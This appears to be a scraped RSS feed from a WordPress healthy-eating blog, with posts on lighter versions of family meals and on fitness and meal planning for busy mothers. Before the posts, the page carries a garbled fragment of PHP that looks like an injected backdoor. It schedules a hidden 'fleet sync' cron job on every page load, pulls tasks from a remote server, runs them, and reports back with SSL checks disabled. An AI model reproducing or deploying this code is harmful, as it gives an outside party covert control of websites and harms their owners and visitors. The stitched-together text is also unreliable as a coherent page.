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update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); healthy family meals – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io Wed, 24 Sep 2014 04:10:10 +0000 en-US hourly 1 https://wordpress.org/?v=7.1 https://skinnygeneprojectnew.dreamsites.io/wp-content/uploads/2023/11/logo-white2-150x150.webp healthy family meals – The Skinny Gene Project https://skinnygeneprojectnew.dreamsites.io 32 32 Family Menu Makeovers https://skinnygeneprojectnew.dreamsites.io/family-menu-makeovers/ https://skinnygeneprojectnew.dreamsites.io/family-menu-makeovers/#respond Wed, 24 Sep 2014 04:10:10 +0000 http://skinnygeneproject.dreamhosters.com/?p=2254 By Rennie Aranda, Skinny Gene Registered Dietitian

Having a hard time deciding what to make for dinner that’s both healthy and delicious (and hopefully the kids will enjoy, too)? Feeding your family healthy food does not mean it’s all about salads and vegetarian dishes. There are plenty of ways you can transform family favorites into healthier alternatives that the whole family can enjoy. Just a few ingredient adjustments can make foods like macaroni and cheese, pizza, and hot dogs transform into healthy versions with lower calorie and fat content and higher in fiber and nutrients. In addition, eating meals together as a family has a range of benefits, including better grades in school and forming healthier eating habits. Solve the daily dilemma of, “what’s for dinner?” by making meals that are a lot healthier than they appear with these healthy family-friendly recipe adjustments:

Family Menu Makeovers (picky eater approved)

Menu Makeover_Final

 

Macaroni & Cheese:

–          Use 2 tablespoons of no-trans-fat margarine instead of 4 tablespoons of butter

–          Use low-fat milk instead of whole milk

–          Add a tablespoon or two of fat-free or light sour cream or low fat yogurt, if needed for creaminess

–          Add veggies on the side or in the macaroni (such as ½ cup of steamed broccoli per serving)

 

Hot Dogs:

–          Choose a reduced-fat hot dog (Ball Park Lite, Louis Rich Turkey Franks, and Hebrew National Reduced Fat are low-fat options)

–          Look for whole-wheat, or higher fiber bun options

–          Add onions and tomato, for added nutrition

–          Choose lower-fat and lower-calorie condiments such as ketchup or mustard

 

French Fries:

–          Choose lower-fat frozen French Fries

–          Bake them instead of frying

–          Complement this side dish with a fruit and a vegetable, so the family does not overdo the fries

 

Family-favorite Mexican-style dishes:

–          Use reduced-fat Jack and/or cheddar cheese

–          Work in beans every chance you get

–          Use extra-lean meat (super-lean ground beef, skinless chicken breast, lean pork trimmed of visible fat)

–          Use fat-free sour cream instead of regular

–          Use whole grains and vegetables (brown rice, whole-wheat tortillas, tomatoes, green peppers, etc.)

 

Pizza:

–          Use whole grain pizza dough options or switch it up with fun options like pita bread for a personal pizza

–          Try healthier meat options such as turkey pepperoni or chicken breasts

–          Use shredded part-skim mozzarella cheese

–          Add plenty of your favorite vegetable toppings

 

Pasta dishes:

–          Use a whole-wheat pasta of your choice

–          Cook ingredients (such as meat and veggies) with olive oil instead of butter

–          Use lean meats such as skinless, boneless chicken breasts

–          Add plenty of your favorite veggies

–          Try olive oil and your favorite herbs/spices for flavor instead of cream-based sauces

 

]]> https://skinnygeneprojectnew.dreamsites.io/family-menu-makeovers/feed/ 0 Healthful Living for Busy Moms! https://skinnygeneprojectnew.dreamsites.io/healthful-living-for-busy-moms/ https://skinnygeneprojectnew.dreamsites.io/healthful-living-for-busy-moms/#respond Sat, 25 May 2013 18:56:31 +0000 http://skinnygeneproject.dreamhosters.com/?p=1947 By Rennie Aranda – Skinny Gene Nutritionist

While being a mother means caring for others, it may be hard to find time to care for themselves and be mindful of their health. In the midst of karate lessons, soccer games, bake sales, errands, work, laundry, and dinner (just to name a few), moms often find it impossible to spend time taking care of their health. How will everyone manage when mom is too sick to take care of them and their activities? This article will identify some of the barriers that mothers face to good health and how to overcome them. Squeezing more time into a jam-packed day may sound unmanageable, but the best way to look at it is including physical activity and healthful eating into the daily routines that moms already partake in.

 

Fitting in Physical Activity

Mothers may want to be more active but have to overcome barriers to fit fitness in. Here are ways busy moms can include more physical activity in their day:

Busy healthy mom

  • I don’t have enough time. 150 minutes of moderate-intensity aerobic activity (or “cardio”) a week is recommended for adults. This may seem like a lot of time, but you don’t have to do it all at once. You can break it up into 10 minute increments at a time! (Sound a little better?) Try going for a 10 minute brisk walk, 3 times a day, 5 days a week. You can include this during your lunch break, running errands, or as a family activity after dinner. Try parking further to allow more walking in your day or take the stairs instead of the elevator. Try bicycling to the store if it’s not too far and the area is safe. As long as it lasts for 10 minutes and gets your heart rate up, it counts!
  • It’s hard for me to get motivated to exercise. Buddy up! Ask a family member, friend, or neighbor to take a walk with you or join a class together.  Chances are, you will be more motivated to exercise if you have a partner to join you. Motivate each other to exercise. Find another mom and set up active play dates with the children so that everyone can join in on the fun!
  • I am too tired and have no energy to exercise. Believe it or not, but taking a walk may be better than a nap for boosting energy and fighting fatigue. Research suggests that engaging in regular exercise helps in increasing energy levels in the long run. Your body creates more energy as your activity increases! Fatigue is often caused by dehydration so be sure to keep yourself hydrated!
  • I don’t have anyone to watch my children. Take them with you! With all the activities they’re involved in, why not join the fun? Children are encouraged to be engaged in 60 minutes of physical activity every day. Practice their sports with them. Play with them outside or at your favorite park. Take a walk around the neighborhood. Play tag. Throw around a football, Frisbee, or baseball. Not only is the exercise good for you and your children, this is also a good time for family bonding!

 

Healthy Meals for the Whole Family

Don’t forget to include healthful eating in the mix! With more working mothers, there is lower frequency of weekly family meals, which can lead to unhealthy choices such as fast food or TV dinners. It may be hard to get a healthy meal together when there is a lot going on, but here are some tips to include more healthy meals that the whole family can enjoy:

  • Healthful eating may be achieved by pre-planning. It is hard to pack meals when you’re busy or have a lot going on. The evening before, try to make it a routine to plan what you will eat the next day. Package snacks into portion sizes and try to make it easy and accessible to put together meals the next day for you and your children.
  • Take advantage of weekends or not-so-busy days to cook several meals for the week ahead. Separate meals into containers. Freeze them to be warmed up later to save time during busier days.
  • Get the family involved! Make it a fun activity for the whole family to prepare meals together. Kids can partake in tasks such as mixing, sprinkling, washing, and assembling ingredients together. Not only does it save time for you, but it can be a great learning opportunity for the kids as well.
  • Plan economical and healthful food shopping. Plan a day to complete all of your grocery shopping for the week. (Again, this ties into planning ahead). Research and choose produce in season, to get the best prices and food quality. Pick healthy items that can be used in multiple dishes.

 

 

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